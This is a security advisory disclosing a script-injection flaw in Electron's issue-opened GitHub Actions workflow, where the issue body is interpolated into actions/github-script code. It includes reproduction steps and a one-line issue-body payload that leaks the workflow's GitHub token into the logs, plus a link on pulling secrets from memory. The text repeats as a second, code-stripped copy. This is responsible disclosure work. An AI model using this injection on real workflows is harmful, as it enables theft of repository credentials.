Summary
The issue-opened.yml workflow injects a user-controlled data from an issue's body to the script
parameter of the actions/github-script
action. Since the script
parameter accepts a JavaScript code for execution it allows a user to inject arbitrary JavaScript code and gain access to the ISSUE_TRIAGE_GH_APP_CREDS
encrypted secret and the GitHub App token.
Details
The issue-opened.yml workflow uses the expression ${{ github.event.issue.body }}
to pass an issue's body to the JavaScript code:
# https://github.com/electron/electron/blob/4f76fff97879ee8f9b2d0dcfd43e686ff8757c69/.github/workflows/issue-opened.yml
name: Issue Opened
on:
issues:
types:
- opened
permissions: {}
jobs:
# ...
set-labels:
if: ${{ contains(github.event.issue.labels.*.name, 'bug :beetle:') }}
runs-on: ubuntu-latest
steps:
# ...
- name: Add labels
uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
with:
github-token: ${{ steps.generate-token.outputs.token }}
script: |
// ...
const tree = fromMarkdown(`${{ github.event.issue.body }}`);
// ...
It means that user-controlled data will be directly injected to the JavaScript code before execution.
PoC
I used a private test environment to avoid vulnerability disclosure.
As an owner:
- Create a new repository.
- Create the
.github/ISSUE_TEMPLATE/bug_report.yml
file and copy content from https://github.com/electron/electron/blob/4f76fff97879ee8f9b2d0dcfd43e686ff8757c69/.github/ISSUE_TEMPLATE/bug_report.yml
- Go to
Issues > Labels
and add new label with name bug :beetle:
- Create the
.github/workflows/issue-opened.yml
file with the following content (I removed unnecessary jobs and steps because they do not affect exploitation but complicate the reproduction):
name: Issue Opened
on:
issues:
types:
- opened
permissions: {}
jobs:
set-labels:
if: ${{ contains(github.event.issue.labels.*.name, 'bug :beetle:') }}
runs-on: ubuntu-latest
steps:
- run: npm install mdast-util-from-markdown@2.0.0 unist-util-select@5.1.0
- name: Add labels
uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
with:
github-token: ${{ github.token }}
script: |
const { fromMarkdown } = await import('${{ github.workspace }}/node_modules/mdast-util-from-markdown/index.js');
const { select } = await import('${{ github.workspace }}/node_modules/unist-util-select/index.js');
const [ owner, repo ] = '${{ github.repository }}'.split('/');
const issue_number = ${{ github.event.issue.number }};
const tree = fromMarkdown(`${{ github.event.issue.body }}`);
const labels = [];
const gistUrl = select('heading:has(> text[value="Testcase Gist URL"]) + paragraph > text', tree)?.value.trim();
if (gistUrl !== undefined && gistUrl.startsWith('https://gist.github.com/')) {
labels.push('has-repro-gist');
}
if (labels.length) {
await github.rest.issues.addLabels({
owner,
repo,
issue_number,
labels,
});
}
As an attacker:
-
Go to Issues
and click New issue
.
-
Click Get started
for the Bug Report
tamplate.
-
Scroll down and add the following payload to the Additional Information
field:
`);console.log(btoa(btoa(process.env['INPUT_GITHUB-TOKEN'])));//
-
Click Submit new issue
.
-
Wait for the Issue Opened
workflow to complete.
-
Check out the workflow logs, they will contain the GitHub token in base64, like this:
Impact
This vulnerability allows an attacker to gain unauthorized access to the GitHub App token issued by the electron/github-app-auth-action
action in runtime and to the ISSUE_TRIAGE_GH_APP_CREDS
encrypted secret.
The GitHub App token can be directly accessed from environment variables as shown in the PoC. Meanwhile, the ISSUE_TRIAGE_GH_APP_CREDS
can be exfiltrated from memory, see https://0xn3va.gitbook.io/cheat-sheets/ci-cd/github/actions#exfiltrating-secrets-from-memory
Both tokens can be used to gain read and write access to the electron/electron
repos issue and projects scopes.
Summary
The issue-opened.yml workflow injects a user-controlled data from an issue's body to the
script
parameter of theactions/github-script
action. Since thescript
parameter accepts a JavaScript code for execution it allows a user to inject arbitrary JavaScript code and gain access to theISSUE_TRIAGE_GH_APP_CREDS
encrypted secret and the GitHub App token.Details
The issue-opened.yml workflow uses the expression
${{ github.event.issue.body }}
to pass an issue's body to the JavaScript code:It means that user-controlled data will be directly injected to the JavaScript code before execution.
PoC
As an owner:
.github/ISSUE_TEMPLATE/bug_report.yml
file and copy content from https://github.com/electron/electron/blob/4f76fff97879ee8f9b2d0dcfd43e686ff8757c69/.github/ISSUE_TEMPLATE/bug_report.ymlIssues > Labels
and add new label with namebug :beetle:
.github/workflows/issue-opened.yml
file with the following content (I removed unnecessary jobs and steps because they do not affect exploitation but complicate the reproduction):As an attacker:
Go to
Issues
and clickNew issue
.Click
Get started
for theBug Report
tamplate.Scroll down and add the following payload to the
Additional Information
field:Click
Submit new issue
.Wait for the
Issue Opened
workflow to complete.Check out the workflow logs, they will contain the GitHub token in base64, like this:
Impact
This vulnerability allows an attacker to gain unauthorized access to the GitHub App token issued by the
electron/github-app-auth-action
action in runtime and to theISSUE_TRIAGE_GH_APP_CREDS
encrypted secret.The GitHub App token can be directly accessed from environment variables as shown in the PoC. Meanwhile, the
ISSUE_TRIAGE_GH_APP_CREDS
can be exfiltrated from memory, see https://0xn3va.gitbook.io/cheat-sheets/ci-cd/github/actions#exfiltrating-secrets-from-memoryBoth tokens can be used to gain read and write access to the
electron/electron
repos issue and projects scopes.